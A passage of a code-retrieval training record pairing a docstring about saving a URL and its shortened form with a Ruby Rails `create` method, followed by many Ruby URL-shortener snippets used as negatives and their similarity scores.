"def get(url, opts = {})\n response = RestClient::Request.new(\n method: :get,\n url: \"#{ENDPOINT_URL}/#{url}\",\n verify_ssl: false,\n headers: {\n 'Content-Type' => 'application/json',\n 'Authorization' => \"Basic #{authorization_hash}\",\n 'client-id' => client_id,\n 'access-token' => access_token\n },\n payload: opts\n ).execute\n\n JSON.parse(response)\n end",
"def get(url)\n raise \"Needs to be implemented\"\n end",
"def request(args = {})\n response = @client.get(args[:url],\n argument_hash(args[:args] || {},\n args[:symbols] || []))\n JSON.parse(response.body)\n end",
"def index\n @url = Url.new\n @urls = Url.recent.page(params[:page]).per(25)\n end",
"def download\n URI.extract(json, ['http', 'https']).each do |url|\n get_asset(url)\n end\n\n json\n end",
"def index\n @links = Link.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @links }\n end\n end",
"def show\n @url = ShortenedUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @url }\n end\n end",
"def index\n @urlitems = Urlitem.all\n end",
"def show url\n function = ''\n \n params = {}\n params[:url] = url\n\n request(@resource, function, params)\n end",
"def get(path, redirect_limit=5)\n parse_json do |parser|\n @http_client.get(path, redirect_limit) {|chunk| parser << chunk }\n end\n end",
"def list_endpoints\n render json: @endpoints, status: 200\n end",
"def index\n render_or_error do\n short_codes = ShortUrl.order(click_count: :desc).limit(100).map(&:short_code)\n\n { urls: short_codes }\n end\n end"
] | [
"0.72622925",
"0.70533806",
"0.6914229",
"0.6791078",
"0.6790144",
"0.6723092",
"0.6704383",
"0.66312903",
"0.6551795",
"0.65379965",
"0.6494516",
"0.64851487",
"0.64801353",
"0.6451444",
"0.6408628",
"0.64008194",
"0.63861555",
"0.6346339",
"0.63178754",
"0.6289575",
"0.62870747",
"0.6269454",
"0.624835",
"0.62464184",
"0.62464184",
"0.62224174",
"0.61876386",
"0.61689794",
"0.6139019",
"0.6136582",
"0.6130184",
"0.61192536",
"0.6114477",
"0.6098115",
"0.60712236",
"0.60611355",
"0.6054894",
"0.6045222",
"0.6042121",
"0.6034976",
"0.6026163",
"0.60237175",
"0.60154104",
"0.6012193",
"0.59972787",
"0.59907985",
"0.5986189",
"0.59691",
"0.5958032",
"0.5937952",
"0.5936416",
"0.5927531",
"0.5921276",
"0.59194744",
"0.59157467",
"0.5909652",
"0.59058666",
"0.59052616",
"0.5893767",
"0.5886441",
"0.5857888",
"0.58554924",
"0.5848307",
"0.5829891",
"0.58104146",
"0.57999396",
"0.57946426",
"0.5789986",
"0.57876813",
"0.5776188",
"0.5773135",
"0.5771604",
"0.5759876",
"0.57595456",
"0.5751382",
"0.5745563",
"0.57396066",
"0.5737798",
"0.5735142",
"0.5731214",
"0.57272774",
"0.5727066",
"0.572603",
"0.572603",
"0.57174474",
"0.57116973",
"0.5709903",
"0.5704603",
"0.5699436",
"0.5697474",
"0.56947863",
"0.56894547",
"0.5686916",
"0.5679499",
"0.5676516",
"0.56645495",
"0.5660534",
"0.5655401",
"0.5647516",
"0.5642777",
"0.56402856"
] | 0.0 | -1 |
This method stores actual URL in database The actual URL Corresponding shorten URL | def create
@url = Url.create_update_with(url_params)
@short_url = "#{request.host_with_port}/#{@url.short_url}"
redirect_to root_path(short_url: @short_url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def shorturl\n return nil if self.new_record?\n return self.surl unless self.surl.nil?\n\n self.surl = encode_url\n\n self.save\n return surl\n end",
"def shorten_url\n db = Sequel.connect('postgres://username:password@localhost:5432/shorty')\n data = db[:data]\n params[:url] = \"http://\"+params[:url] unless params[:url].match(/^http:\\/\\//)\n if (data.order(:id).last) \n data.insert(:url => params[:url], :surl => data.order(:id).last[:surl].succ)\n else\n data.insert(:url => params[:url], :surl => \"A\")\n end\nend",
"def update_short_url\n uniq_key = Digest::MD5.hexdigest(\"#{self.id()}\").slice(0..6) \n update_column(:short_url, BASE_SHORT_URL + uniq_key)\n true\n end",
"def create_shortened_url\n key = self.id - 1\n\n if key == 0\n shortened = ALPHABET[0]\n else\n shortened = ''\n baseLength = ALPHABET.length\n\n until key < 1\n place = key % baseLength\n shortened += ALPHABET[place]\n\n key /= baseLength\n end\n end\n self.shortened = shortened\n self.save\n end",
"def create_short_url\n if self.short_url.nil?\n self.short_url = self.id\n self.save\n end\n end",
"def easy\n url = params[:url]\n\n # Well, this would be super slow for mainstream processors, but\n # might be good enough for Mom's & Dad's shop\n link = Link.find_by_url(url)\n\n # Oops, we don't have this Url in tables yet\n if link.nil?\n link = Link.new\n link.url = url\n link.save\n end\n\n render :text => SHORT_URL + \"/\" + Base32::Crockford.encode(link.id)\n end",
"def generate_short_url\n self.update_attribute :short_url, self.class.convert_to_base62(self.id)\n end",
"def create_short_url(url_params) \n url = Url.new(url_params)\n url.suffix= url.create_suffix(url_params[:longurl],0)\n while url.unique(url.suffix) == false\n url.suffix = url.create_suffix(url_params[:longurl],1)\n end\n domain = Domainatrix.parse(url_params[:longurl]).domain + '.' + Domainatrix.parse(url_params[:longurl]).public_suffix\n short_domain = ShortDomain.where(domain: domain).first[:prefix]\n url.shorturl = \"http://\" + short_domain +'/'+ url.suffix\n if url.save\n return url\n else\n return nil\n end\n end",
"def set_url\n @url = Url.find_by_short_url(params[:id])\n end",
"def set_url\n @url = Url.find_by(short: params[:short])\n end",
"def shorten_url\n if @url.save\n headers 'Location' => url(@url.path)\n halt 201, \"Created #{url(@url.path)}\"\n else\n halt 406, \"#{@url.errors.full_messages.join(\".\\n\")}\"\n end\n end",
"def short\n alexa_rank = alexa_rank params[:url]\n host = get_domain params[:url]\n host = host.split \".\"\n domain = host.count >= 3 ? host[host.count - 3] : host[host.count - 2]\n @url = @user.url.create url: params[:url], alexa_rank: alexa_rank, domain: domain\n @url.save!\n render json: {url_short: @url.url_short}\n end",
"def create_short_url\n return if short_url\n # Check if the required parameters are present\n unless upload_image || long_url\n logger.info \"url : #{url_info.inspect} self : #{inspect}\"\n raise 'Missing long_url or upload_image'\n end\n\n self.long_url = url_info.id if long_url.blank?\n\n to_hash = long_url.to_s\n\n # Custom hash if the user is logged in\n to_hash = user.pseudo + 'pw3t' + long_url if user_id\n\n # And we keep only the 10 first characters\n self._id = hash_and_truncate(to_hash)\n end",
"def create\n \n url_match = params[:url][:url] =~ /\\Ahttp(s?):\\/\\//i\n params[:url][:url] = \"http://\" << params[:url][:url] if url_match.nil?\n \n # find existing url\n @existing_url = Url.find_by_url(params[:url][:url])\n \n if @existing_url.nil?\n @url = Url.new(params[:url])\n id = Url.last.id unless Url.last.nil?\n @url.short_url = Shorten::Base62.to_s(id.nil? ? 1 : id+1)\n p @url\n else\n @url = @existing_url\n end\n\n respond_to do |format|\n if !@existing_url.nil? or @url.save\n format.html { redirect_to @url, notice: 'Url was successfully shortened.' }\n format.json { render json: @url, status: :created, location: @url }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n url = params[:short_url][:url]\n\n # regex to validate url\n is_url = url.match(/^(http|https):\\/\\/[a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(:[0-9]{1,5})?(\\/.*)?$/ix).present?\n \n if is_url == true\n surl = Digest::MD5.hexdigest(url+\"in salt we trust\").slice(0..6) \n short_url = \"http://\" + surl\n\n @short_url = ShortUrl.create(title: params[:short_url][:title], url: params[:short_url][:url] , short_url: short_url, jmp_url: \"\", clicks: 0)\n redirect_to @short_url, notice: 'Short url was successfully created.'\n else \n redirect_to short_urls_path, notice: 'Invalid Url.'\n end \n\n \n end",
"def generate_short_url\n url = ([*('a'..'z'),*('0'..'9')]).sample(UNIQUE_ID_LENGTH).join\n old_url = ShortenedUrl.where(short_url: url).last\n if old_url.present?\n self.generate_short_url\n else\n self.short_url = url\n end\n end",
"def write_urls_db()\n end",
"def set_url\n @url = Url.get_from_short(params[:id])\n end",
"def generate_short_url(long_url)\n\t @shortcode = random_string 5\n\t \n\t su = ShortURL.first_or_create(\n\t { :url => long_url }, \n\t {\n\t :short_url => @shortcode,\n\t :created_at => Time.now,\n\t :updated_at => Time.now\n\t })\n\t \n\t @shortenedURL = get_site_url(su.short_url)\n\tend",
"def create\n @shortened_url = Url.new(:url => params[:url])\n \n \n respond_to do |format|\n if @shortened_url.save\n @num=\"\"\n flash[:shortened_id] = @shortened_url.id\n ( @shortened_url.id..(@shortened_url.id)).each do |i|\n @num=hashing(i)+@num\n end\n @shortened_url.shorturl=url_url(@num) \n @shortened_url.save \n \n format.html {redirect_to new_url_url}\n format.xml { render xml: @urls}\n format.json { render json: @shortened_url, status: :created }\n else\n format.json { render json: @shortened_url.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_short_url\n url = Process.clock_gettime(Process::CLOCK_REALTIME, :nanosecond).to_s(36)\n old_url = Link.where(short_url: url).last\n if old_url.present? \n self.generate_short_url\n else\n self.short_url = url\n end\n end",
"def get_short_url\n\n long_url = params[:long_url]\n\n if long_url.blank? || !long_url.is_valid_url?\n respond_to do |format|\n format.html { redirect_to urls_url, notice: 'Long URL must be in the format http://www.decisiv.com' }\n format.json { render :json => {:error => \"Long URL must be in the format http://www.decisiv.com\"}.to_json, :status => 400 }\n end\n return\n end\n\n short_url = nil\n\n if Url.where(:long_url => long_url).exists?\n\n @url = Url.where(:long_url => long_url).first\n \n respond_to do |format|\n format.html { redirect_to urls_url, notice: 'URL already exists' }\n format.json { render :json => @url.to_json, :status => 400 }\n end\n return\n \n end\n\n\n for i in 0..20 \n\n # generate a random text\n short_url = [*('a'..'z'),*('0'..'9')].shuffle[0,10].join\n\n if RestrictedWord.find_by_fuzzy_word(short_url).count > 0\n next\n end\n\n if Url.find_by_fuzzy_short_url(short_url).count > 0\n next\n end\n\n \n # add it to the database\n @url = Url.new\n @url.long_url = long_url\n @url.short_url = short_url\n \n if @url.save\n\n Url.bulk_update_fuzzy_short_url\n\n respond_to do |format|\n format.html { redirect_to urls_url, notice: 'Short URL created' }\n format.json { render :json => @url.to_json, :status => 200 }\n end\n return\n\n else\n respond_to do |format|\n format.html { render :new }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n return\n\n end\n\n end\n\n respond_to do |format|\n format.html { redirect_to urls_url, notice: 'Error trying to create short URL.' }\n format.json { render :json => {:error => \"Error trying to create short URL.\"}.to_json, :status => 400 }\n end\n\n end",
"def short_url\n self.minified_url = ShortUrlsHelper.url_encode(id.to_i)\n\n if save\n update_title(self.id)\n return true\n end\n\n false\n end",
"def create_finalurl\n\t\tStore.all.each do |store_obj|\n\t\t\tif url.include?(store_obj.tracker_urlidentifier)\n\t\t\t\tself.store = store_obj\n\t\t \t\tself.finalurl = store.get_redirect_url(url, id)\n\t\t \t\tself.save!\n\t\t\tend\n\t\tend\n\tend",
"def create\n @url = Url.new(url_params)\n\n Url.transaction do\n @url.save\n #write base 62 method\n @url.short_url = generate_base62_short_url(@url.id)\n if @url.save\n render json: @url, status: :created, root: :url\n else\n render json: @url.errors, status: :unprocessable_entity\n end\n end\n end",
"def generate_short_url\n short_url = unique_url\n\n # check if this is a duplicate\n if ShortenUrl.where(short_url: short_url).exists?\n # try again\n generate_short_url\n else\n self.short_url = short_url\n end\n end",
"def save_url(url)\r\n domain = get_domain(url)\r\n raise Exception, \"The domain appears to be nil for #{url}.\" if(domain.nil?)\r\n domain_key = db_domain_path_visited(domain)\r\n\r\n # append the url to this set.\r\n # ie: set key: \"automata:domain:thoughtware.tv\" value: \"http://youtube.com/1\"\r\n # puts \"[Memory]\".blue + \" Saving #{url.yellow} in #{domain_key.green}\"\r\n $db.sadd(domain_key, url)\r\n $db.expire(domain_key, @default_term)\r\n end",
"def shorten\n\t\trange = [*'0'..'9',*'A'..'Z',*'a'..'z']\n self.short_url = Array.new(7){range.sample}.join\n self.save\n\tend",
"def insert(short, url)\n raise NotImplementedError\n end",
"def show\n if params[:short_url]\n @url = Url.find_by short_url: params[:short_url]\n if redirect_to \"#{@url.original_url}\"\n @url.clicks += 1\n ip = request.env['HTTP_X_FORWARDED_FOR'] || request.remote_ip\n if !@url.ip_addresses.include? ip\n @url.ip_addresses.push(ip)\n end\n @url.save\n end\n else\n @base_url = \"#{request.protocol}#{request.host_with_port}/\"\n @url = Url.find(params[:id])\n end\n end",
"def shorten\n\t\n\t\tself.short_url = SecureRandom.urlsafe_base64(4)\n\tend",
"def short_url_algorithm()\n \n unique_id_length = 3\n base64 = Base64.encode64(self.original_url)\n join_url = (base64.split('')).sample(unique_id_length).join()\n safe_url = join_url.gsub(\"+\", \"-\").gsub(\"/\",\"_\")\n \n loop do \n self.short_url = @@URL + safe_url\n \n if Url.find_by_short_url(self.short_url).nil?\n break\n else\n unique_id_length = unique_id_length + 1\n end\n \n end\n \n end",
"def shorten\n\t\t self.short_url = SecureRandom.hex(3)\n\tend",
"def create\n @url = Url.new(url_params)\n @url.sanitize\n @url.current_ip = request.remote_ip\n if @url.new_url?\n respond_to do |format|\n if @url.save\n format.html { redirect_to shortened_path(@url.short_url), notice: 'Url was successfully created.' }\n format.json { render :show, status: :created, location: @url }\n else\n format.html { render :new }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:notice] = \"A short link for this URL is already in our database\"\n redirect_to shortened_path(@url.find_duplicate.short_url)\n end\n \n end",
"def shorter_url\n\t\tself.short_url = SecureRandom.base64(10)\n\tend",
"def shorten\n\tself.short_url = SecureRandom.hex(3)\n\tend",
"def short_url\n @short_url ||= client.shorten(long_url: url).link\n rescue => e\n Rails.logger.warn(\"Could not shorten bit.ly url #{e.message}\")\n url\n end",
"def get_new_url\n self.update_attributes(url: \"#{(0...50).map{ ('a'..'z').to_a[rand(26)] }.join}\")\n end",
"def create\n @short_url = @user.short_urls.new(short_url_params)\n\n if @short_url.save\n short_url = @short_url\n short_url.shorty = \"http://www.my-domain.com/#{@short_url.shorty}\"\n render json: short_url, status: :created\n else\n render json: {errors: @short_url.errors}, status: :unprocessable_entity\n end\n end",
"def shorten\n self.url_short = SecureRandom.hex(5)\n end",
"def shorten\n self.url_short = SecureRandom.hex(5)\n end",
"def shorten_url\n\t\t# generate 7 random numbers from 0-9 and a-z\n\t\tself.short_url = rand(36**7).to_s(36) # [0,6] # use this to ensure 7 characters\n\n\t\t# to include A-Z\n\t\t# require 'base62'\n\t\t# self.short_url = rand(36**7).base62_encode\n\n\t\t# self.short_url = SecureRandom.hex(10)\n\tend",
"def create\n submitted_url = url_params[:original_url]\n\n @url = Url.where(original_url: [submitted_url, \"http://#{submitted_url}\",\"http://www.#{submitted_url}\"]).first_or_initialize\n @url.assign_attributes(url_params)\n\n respond_to do |format|\n if @url.persisted?\n format.html {redirect_to @url, notice: \"We've already redirected this url. Check out the shortened url below.\"}\n format.json { render action: 'show', status: 200, location: @url }\n elsif @url.save\n format.html { redirect_to @url, notice: 'Url was successfully created.' }\n format.json { render action: 'show', status: :created, location: @url }\n else\n format.html { render action: 'new' }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_url\n\t\tif self.url.blank?\n\t\t\tself.url = self.title.downcase.gsub(/[^a-zA-Z0-9]+/, \"-\").chomp(\"-\")\n\t\tend\t\n\tend",
"def add_url(url, shortcode)\n @db.execute \"INSERT INTO pairings VALUES('#{url}', '#{shortcode}')\"\n return true\n rescue SQLite3::Exception => e\n puts 'Unable to add url:'\n puts e\n return false\n end",
"def set_shortened_url\n @shortened_url = ShortenedUrl.find(params[:id])\n end",
"def short_url(short_url_key)\n self.url_key = short_url_key\n end",
"def addurl(uid, loc)\n @conn.exec_prepared(\"insert_url\", [uid, loc])\n end",
"def addurl(uid, loc)\n @conn.exec_prepared(\"insert_url\", [uid, loc])\n end",
"def create\n original_url = params[:short_url][:url]\n sanity_url = get_sanity_url(original_url)[0]\n @short_url = ShortUrl.find_by(sanity_url: sanity_url)\n if !@short_url.present?\n short_url = create_short_url\n while ShortUrl.find_by(short: short_url).present?\n short_url = create_short_url\n end\n @short_url = ShortUrl.new(original: original_url, short: short_url, sanity_url: sanity_url)\n @short_url.save\n end\n redirect_to @short_url, notice: 'Short url was successfully created.'\n end",
"def save_news_url(news)\n news.fb_obj_url = news.id.to_s+\"-\"+news.created_at.strftime(\"%Y-%m-%d-%H-%M\")\n news.save\n end",
"def set_url\n self.update_column(:url, '/' + self.ancestry_url)\n end",
"def find_url\n @url = Url.find_by_short_url(params[:short_url])\n \n end",
"def set_url\n @short = Short.find(params[:id])\n end",
"def set_shorten_url\n @shorten_url = ShortenUrl.find(params[:id])\n end",
"def create\n @url = ShortenedUrl.new\n @url.original_url = params[:original_url]\n @url_actualy = @url.original_url\n @url_may_exist = ShortenedUrl.find_by_original_url(params[:original_url])\n if @url_may_exist.nil?\n if @url.save\n redirect_to shortened_path(@url.short_url)\n flash[:notice] = \"URL is added to list\"\n else\n flash[:error] = \"URL is not added to list\"\n render 'index'\n end\n else\n flash[:notice] = \"The link is exist already\"\n redirect_to shortened_path(@url_may_exist.short_url)\n end\n end",
"def create\n # decode url to remove duplicacy in case of same url encoded and decoded\n url = URI.decode(params[:url])\n # check if url already exists in db\n mini_url = MiniUrlHelper.check_existing_url(url, current_user)\n unless mini_url\n mini_url = MiniUrl.new\n mini_url.url = url\n # a check to handle invalid expiry time\n begin\n mini_url.expiry = DateTime.parse(params[:expiry])\n rescue ArgumentError => e\n logger.error \"Invalid expiry time.\"\n end\n mini_url.user = current_user if current_user\n # call method to generate unique code and save into db\n # raise exception in case of some error\n unless mini_url.generate_unique_code\n raise Exceptions::SavingError.new(mini_url.errors)\n end\n end\n short_url = \"#{BASE_URL}/#{mini_url.url_code}\"\n render json: {short_url: short_url}, status: 201\n rescue Exceptions::SavingError => e\n render json: {error: e}, status: 400\n end",
"def url=(_); end",
"def get\n url = Url.find_by!(shortened_url: params[:code])\n url.count += 1\n url.save!\n redirect_to url.original_url\n rescue StandardError\n flash[:error] = \"That's not right. Did you mistype the url?\"\n redirect_to root_path\n end",
"def putShortenurl( url)\n params = Hash.new\n params['url'] = url\n return doCurl(\"put\",\"/shortenurl\",params)\n end",
"def short_url\n @short_url ||= details_page.css(\"#share_a_link\").attr(\"value\").value\n end",
"def short_url\n @short_url ||= details_page.css(\"#share_a_link\").attr(\"value\").value\n end",
"def shortener\n\t\tcharacters = [*\"0\"..\"9\", *\"A\"..\"Z\", *\"a\"..\"z\"]\n\n\t\t@short_url = (0..6).map{characters.sample}.join\n\t\tself.short_url = @short_url\n\tend",
"def sanitize\n \tself.original_url.strip!\n \tself.sanitize_url = self.original_url.downcase.gsub(/(https?:\\/\\/)|(www\\.)/, \"\")\n \tself.sanitize_url = \"http://#{self.sanitize_url}\"\n\n \n start = 8\n final = self.sanitize_url.length\n\n while start <= final do\n sanitize_url[start] == ' ' ? sanitize_url[start] = '-' : sanitize_url[start] = sanitize_url[start] #change spaces for '-'\n break if sanitize_url[start] == '/' #break if '/' is found\n start +=1\n end\n\n self.sanitize_url = sanitize_url[0..start] #cut the string for creating the shortened_url\n self.short_url = sanitize_url + short_url #save the final shortened_url on the short_url's field\n end",
"def create(clean_url)\n key = generate_unique_key\n @@urls[key] = clean_url\n key\n end",
"def set_random_url\n random_string = \"alkjsdhfglaquwhtjsnvaudshfg\"\n self.url = random_string.split(\"\").shuffle.join\n self.save\n end",
"def set_url\n @url = Url.find_by(key: params[:key])\n end",
"def create_legacy_url\n legacy_urls.find_or_create_by(urlname: urlname_before_last_save)\n end",
"def create\n referrer = Rails.application.routes.recognize_path(request.referrer)\n \n @url = Url.new(url_params)\n @error = nil\n result_url = Url.find_by(:long_url => @url[:long_url])\n\n respond_to do |format|\n if result_url.nil?\n max_id = Url.maximum(:id) || 0\n num = START_OFFSET + max_id + 1\n short_key = encode(num) \n @url[:short_url] = short_key\n\n if @url.save\n @new_url = @url\n @url = Url.new(:long_url => @new_url[:long_url], :short_url => @new_url[:short_url])\n if referrer[:action] == 'index'\n format.html { render :index }\n else\n format.html { redirect_to @new_url, notice: \"URL was successfully created.\"}\n end\n else\n @error = @url.errors.full_messages\n if referrer[:action] == 'index'\n format.html { render :index }\n else\n format.html { render :new }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n else\n if referrer[:action] == 'index'\n @url[:short_url] = result_url[:short_url]\n format.html { render :index }\n else\n format.html { redirect_to result_url, notice: \"Existing URL. No URL is created.\" }\n end\n end\n end\n end",
"def perform(**args)\n record = ReadLater.find(args[:id])\n unshorten_url = Unshorten[record.url]\n record.url = unshorten_url\n record.save\n end",
"def create_short_url\n rand_url = ('a'..'z').to_a.shuffle[0..5].join\n self.short_url = \"#{rand_url}\"\n end",
"def generate_short_url\r\n url = rand(36**8).to_s(36)\r\n\r\n # If generated token already exists, execute again\r\n if Shortcut.where(short_url: url).count > 0\r\n generate_short_url\r\n return\r\n end\r\n\r\n # Generated short url\r\n self.short_url = url\r\n end",
"def convert_long_url_to_short_url\n if params[:long_url] == \"\"\n flash[:Error] = \"Please Enter all Details\"\n redirect_to urls_long_url_to_short_url_path\n else\n params[:long_url] = params[:long_url].strip\n @result = shorten_url(url_params)\n render '/urls/show'\n end\n end",
"def saveurl\n url_str = link_params[:url]\n url_str.insert(0, 'http://') if url_str.match('^http').nil?\n \n annotations = get_annotations(url_str)\n \n url = Url.find_by_url(url_str)\n if url.nil?\n url = Url.new({:url => link_params[:url], :icon => annotations[:icon]})\n if !url.save\n render :status => 404\n end\n else\n Url.update(url.id, :icon => annotations[:icon]) if url.icon.nil? && annotations[:icon] != ''\n end\n\n @bookmark = Bookmark.new({:url => url, :title => annotations[:title], :description => annotations[:desc], :user => current_user})\n\n @share_with_group = Group.find(params[:id]) if params[:id]\n\n annotations[:keywords].each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end\n\n respond_to do |format|\n format.html { render action: 'bookmark_form' }\n format.js\n end\n end",
"def create_short_url(original_url = nil)\n params = {body: {originalURL: original_url, domain: @short_domain}.to_json, headers: {\"Authorization\" => @short_api_key}}\n response = self.class.post(\"/links\", params)\n @short_url = JSON.parse(response.body)[\"shortURL\"]\n response\n end",
"def insert_url(con,url,irc_handle,channel,title)\n title=con.escape_string(title)\n\turl=con.escape_string(url)\n\tchannel_id=get_channel_id(con,channel)\n irc_handle_id=get_irc_handle_id(con,irc_handle)\n\n sql=\"INSERT into irc_url (url,handleid,channelid,title) VALUES ('#{url}','#{irc_handle_id}','#{channel_id}','#{title}');\"\n res=con.query(sql)\nend",
"def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end",
"def short_link\n UrlShort::IsGd.shorten @link\n end",
"def small_url(host=Smurl.host)\n custom_url = CustomUrl.last(smurl_id: id)\n link = custom_url.link if custom_url\n path = link || SmallUrl.encode62(id)\n\n relative = '/' + path\n if host\n host + relative\n else \n relative\n end\n end",
"def generate_short_url\n new_short = \"/\" + Faker::Lorem.characters(7)\n until short_url_unique?(new_short)\n new_short = \"/\" + Faker::Lorem.characters(7)\n end\n self.short_url = new_short\n end",
"def new\n url = params[:long_url] || params[:url]\n if !url.present?\n render :text => \"URL not passed as a variable\" \n else\n # check to see if there's an existing short url\n short_url = @site.urls.find_by_long_url(url)\n\n if short_url\n respond_to do |format|\n format.html { render text: short_url.full_short_link }\n format.json { respond_with short_url }\n end\n else\n @url = @site.urls.create!(long_url: url, title: params[:title])\n\n respond_to do |format|\n format.html { render text: @url.full_short_link }\n format.json { respond_with @url }\n end\n end\n\n end\n rescue\n render text: \"Error saving short link\"\n end",
"def create_slug\n return if self.errors.size > 0\n return if self[source_column].blank?\n\n if self[slug_column].to_s.empty?\n proposed_slug = self[source_column].to_slug\n\n suffix = \"\"\n existing = true\n acts_as_slugable_class.transaction do\n while existing != nil\n # look for records with the same url slug and increment a counter until we find a unique slug\n existing = acts_as_slugable_class.\n where(slug_column => proposed_slug + suffix).\n where(slug_scope_condition).first\n if existing\n suffix = suffix.empty? ? \"-0\" : suffix.succ\n end\n end\n end # end of transaction \n self[slug_column] = proposed_slug + suffix\n end\n end",
"def save_url\n raise MotionModelResource::URLNotDefinedError.new \"URL is not defined for #{self.class.name}!\" unless self.class.respond_to?(:url)\n\n case save_action\n when :create then self.try(:url) || self.class.url\n when :update then self.try(:url) || \"#{self.class.url}/#{id}\"\n end\n end",
"def retrieve_short_url_to_long_url\n if params[:short_url]==\"\"\n flash[:Error] = \"Please Enter all Details\"\n redirect_to urls_short_url_to_long_url_path\n else\n params[:short_url] = params[:short_url].strip\n @result = short_url(url_params)\n render '/urls/show'\n end\n end",
"def redirected\n @url = Url.where(short_url: params[:id]).first\n if @url.present?\n @url.increase_hit\n redirect_to \"#{'http://' unless @url.url.include?('http://') || @url.url.include?('https://')}#{@url.url}\"\n else\n redirect_to urls_path, alert: \"URL not present. Please create new URL\" \n end\n end",
"def index\n @url = ShortenedUrl.new\n end",
"def update_visits(short_url)\n\n url = Url.find_by_short_url(short_url)\n url.visit_count = url.visit_count + 1\n url.save\n \n end",
"def update_urlname!\n new_urlname = nested_url_name\n if urlname != new_urlname\n legacy_urls.create(urlname: urlname)\n update_column(:urlname, new_urlname)\n end\n end",
"def create\n @url = Url.find_or_initialize_by(url_params)\n if @url.save\n redirect_to urls_path, notice: \"Url shortner is successfully created\"\n else\n render :new\n end\n end",
"def short(url)\n clean_url = UrlSanitizer.sanitize(url)\n key = @@urls.key(clean_url) || create(clean_url)\n end",
"def show\n @decode=hashing_decode(params[:id])\n @shortened_url = Url.find(@decode)\n if (@shortened_url.hits!=nil)\n \n @shortened_url.hits=@shortened_url.hits+1\n else\n \n @shortened_url.hits=1\n end\n @shortened_url.save \n redirect_to @shortened_url.url\n end",
"def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end",
"def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end",
"def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end",
"def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end",
"def shorten\n\t\tcharacters = [*\"0\"..\"9\", *\"A\"..\"Z\", *\"a\"..\"z\"]\n\n\t\t@short_url = (0..6).map{characters.sample}.join\n\t\tself.short_url = @short_url\n\tend",
"def set_shorturl\n @shorturl = Shorturl.find(params[:id])\n end",
"def set_shorturl\n @shorturl = Shorturl.find(params[:id])\n end",
"def set_shorturl\n @shorturl = Shorturl.find(params[:id])\n end",
"def set_url\n @url = Url.find_by_admin_slug(params[:slug])\n end"
] | [
"0.7802982",
"0.7425553",
"0.73461205",
"0.72590965",
"0.713846",
"0.70028114",
"0.6941988",
"0.6923177",
"0.6892262",
"0.6862915",
"0.6851851",
"0.6840349",
"0.6803636",
"0.6791712",
"0.6782709",
"0.6760949",
"0.6757774",
"0.6713098",
"0.67095643",
"0.6703079",
"0.66878426",
"0.66764873",
"0.666012",
"0.66542697",
"0.6650288",
"0.6630541",
"0.6613613",
"0.65952843",
"0.65695286",
"0.65181553",
"0.6496704",
"0.6489435",
"0.64845943",
"0.6446652",
"0.6442284",
"0.64263207",
"0.64253837",
"0.6395817",
"0.6384839",
"0.6364333",
"0.6364333",
"0.63604945",
"0.6334363",
"0.6312361",
"0.6311944",
"0.6302814",
"0.6296871",
"0.6284471",
"0.6284471",
"0.62797046",
"0.62766266",
"0.62720734",
"0.6267258",
"0.6261554",
"0.62535113",
"0.6241263",
"0.622153",
"0.621538",
"0.62049335",
"0.6202399",
"0.6201827",
"0.6201827",
"0.61907643",
"0.61637926",
"0.6153713",
"0.61349994",
"0.6134877",
"0.6133072",
"0.61327946",
"0.61326706",
"0.6125951",
"0.6122637",
"0.61175007",
"0.61119807",
"0.61073637",
"0.6106616",
"0.61018056",
"0.6101526",
"0.6098818",
"0.60835046",
"0.6078172",
"0.60690117",
"0.6067025",
"0.60657525",
"0.6043477",
"0.6043328",
"0.6039105",
"0.6035992",
"0.6030396",
"0.602772",
"0.60276467",
"0.60216594",
"0.60216594",
"0.60216594",
"0.60216594",
"0.6016749",
"0.6011783",
"0.6011783",
"0.6011783",
"0.60106874"
] | 0.6447203 | 33 |
Never trust parameters from the scary internet, only allow the white list through. | def url_params
params.require(:url).permit(:original_url, :short_url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
